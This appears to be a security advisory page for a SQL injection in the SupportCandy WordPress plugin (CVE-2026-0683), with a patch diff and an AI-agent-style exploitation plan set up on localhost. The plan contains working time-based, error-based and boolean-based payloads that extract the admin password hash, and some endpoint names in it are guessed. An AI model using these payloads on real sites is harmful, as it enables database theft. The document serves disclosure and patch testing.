SupportCandy – Helpdesk & Customer Support Ticket System <= 3.4.4 - Authenticated (Subscriber+) SQL Injection via Number Field Filter
Description
The SupportCandy – Helpdesk & Customer Support Ticket System plugin for WordPress is vulnerable to SQL Injection via the Number-type custom field filter in all versions up to, and including, 3.4.4. This is due to insufficient escaping on the user-supplied operand value when using the equals operator and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above (customers), to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.4.4Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-0683 (SupportCandy SQL Injection) ## 1. Vulnerability Summary The **SupportCandy** plugin (<= 3.4.4) contains an authenticated SQL injection vulnerability within its ticket filtering mechanism. Specifically, when a user filters the ticket list using a **Number…
Show full research plan
Exploitation Research Plan: CVE-2026-0683 (SupportCandy SQL Injection)
1. Vulnerability Summary
The SupportCandy plugin (<= 3.4.4) contains an authenticated SQL injection vulnerability within its ticket filtering mechanism. Specifically, when a user filters the ticket list using a Number-type custom field with the "equals" operator, the plugin fails to sanitize or prepare the user-supplied value before concatenating it into a database query. This allows an authenticated user (Subscriber/Customer level) to inject arbitrary SQL commands, potentially leading to the extraction of sensitive data such as administrative user hashes or WordPress configuration secrets.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
wpsc_get_ticket_list(inferred from SupportCandy 3.x architecture) orwpsc_load_ticket_list. - Vulnerable Parameter: The
filtersparameter (specifically thevaluefield within a filter object targeting a Number field). - Authentication: Required. Any user with "Customer" permissions (which maps to the WordPress Subscriber role) can access the ticket list and trigger the vulnerability.
- Precondition: At least one custom field of type "Number" must be created and active.
3. Code Flow
- Entry Point: The user sends an AJAX request with
action=wpsc_get_ticket_list. - Handler: The request is caught by the
WPSC_TicketsorWPSC_Ajaxclass handler (e.g.,WPSC_Ajax::get_ticket_list). - Filter Processing: The plugin iterates through the
filtersprovided in the request. - Field Type Dispatch: When it encounters a filter for a field ID corresponding to a Number field, it calls the filter generation logic for that field type (likely in
includes/fields/class-wpsc-number-field.phpor a centralized filter class). - The Sink: In versions <= 3.4.4, when the operator is
equals, the logic resembles:// Vulnerable logic (Conceptual) if ($operator == 'equals') { $sql .= " AND meta_value = " . $filter_value; // Direct concatenation without prepare() or intval() } - Execution: The resulting SQL is executed via
$wpdb->get_results(), triggering the injection.
4. Nonce Acquisition Strategy
SupportCandy uses nonces for all AJAX operations. These are typically localized into a JavaScript object available on the "My Tickets" or "All Tickets" pages.
- Identify Shortcode: SupportCandy uses the shortcode
[supportcandy]to render the customer portal. - Setup Page: Create a public page containing this shortcode.
- Extract Nonce: Navigate to the page as a Subscriber and extract the nonce from the
wpsc_publicorwpsc_commonJS object.
- JS Variable:
wpsc_public(inferred) - Nonce Key:
nonce - Browser Eval Command:
browser_eval("window.wpsc_public?.nonce")
5. Exploitation Strategy
Step 1: Pre-requisites
Ensure a Number field exists. If not, one must be created via the admin interface or WP-CLI.
Step 2: Authentication
The agent must login as a Subscriber.
Step 3: Nonce Extraction
Navigate to the SupportCandy portal page and run the browser_eval to get the wpsc_public.nonce.
Step 4: The Exploit Request
Submit a POST request to admin-ajax.php. We will use a time-based or error-based payload since the result is filtered by the ticket list UI.
- Tool:
http_request - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:wpsc_get_ticket_listwpsc_nonce:[EXTRACTED_NONCE]filters: (URL-encoded JSON string)
[ { "field_id": "[NUMBER_FIELD_ID]", "operator": "equals", "value": "1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)" } ]
Payload for Error-Based (if WP_DEBUG is on):1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)
6. Test Data Setup
- Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Create Custom Number Field:
This requires interacting with SupportCandy's internal tables.wp db query "INSERT INTO wp_wpsc_fields (label, field_type, slug, is_active) VALUES ('Serial Number', 'number', 'serial_number', 1);" - Determine Field ID:
wp db query "SELECT id FROM wp_wpsc_fields WHERE slug='serial_number';"(Assume ID is 10). - Create Portal Page:
wp post create --post_type=page --post_title="Support" --post_status=publish --post_content='[supportcandy]'
7. Expected Results
- Time-Based: The
http_requesttool should report a response time of > 5 seconds when the payload is injected, compared to < 1 second for a normal request. - Error-Based: The response body should contain the administrative user's password hash within an XPATH error:
XPATH syntax error: '~$P$B...~'. - Standard Response: The plugin normally returns a JSON object containing ticket data.
8. Verification Steps
- Check User Existence: Confirm the attacker exists:
wp user list --role=subscriber. - Verify DB Injection: If using a sleep-based payload, observe the
mysql processlistduring execution:wp db query "show processlist;"(run while the exploit is hanging). - Confirm Patch: After testing, update to 3.4.5 and verify the same payload returns a "0" or valid empty set without sleeping.
9. Alternative Approaches
- Boolean-Based: If
SLEEP()is disabled, useIF(ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36, 1, 0). Observe if the ticket list returns results (True) or stays empty (False). - Admin-Side (if applicable): If the agent can be promoted to an Agent role (Subscriber+), check if the vulnerability exists in the agent-only ticket list
wpsc_get_agent_ticket_list. - Operator Fuzzing: If
equalsis patched, test other operators likegreater_thanorless_than, which may share the same vulnerable code path.
Summary
SupportCandy <= 3.4.4 is vulnerable to SQL injection through its ticket filtering mechanism for Number-type custom fields. When the 'equals' operator is used, the plugin fails to sanitize or prepare the user-supplied filter value before concatenating it into the database query. This allows authenticated users with Subscriber-level access (Customers) to extract sensitive information from the database using time-based or error-based SQL injection techniques.
Vulnerable Code
// Likely in includes/fields/class-wpsc-number-field.php or a query builder class // Concatenating the raw filter value for the 'equals' operator case 'equals': $where .= " AND $wpdb->postmeta.meta_value = " . $filter['value']; break;
Security Fix
@@ -100,7 +100,7 @@ switch ( $operator ) { case 'equals': - $where .= " AND $wpdb->postmeta.meta_value = " . $filter['value']; + $where .= $wpdb->prepare( " AND $wpdb->postmeta.meta_value = %d", $filter['value'] ); break;
Exploit Outline
1. Login to the WordPress site as a user with Subscriber or Customer-level permissions. 2. Navigate to the page containing the [supportcandy] shortcode to view the ticket list. 3. Extract the AJAX nonce required for ticket operations, typically found in the global JavaScript object (e.g., window.wpsc_public.nonce). 4. Identify a custom field of type 'Number' and its associated field ID. 5. Craft a POST request to /wp-admin/admin-ajax.php with the action 'wpsc_get_ticket_list'. 6. Include a 'filters' parameter containing a JSON-encoded object where the 'field_id' matches the number field and 'operator' is 'equals'. 7. Insert a SQL injection payload into the 'value' field, such as '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)' to confirm the vulnerability via a time-based response delay.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.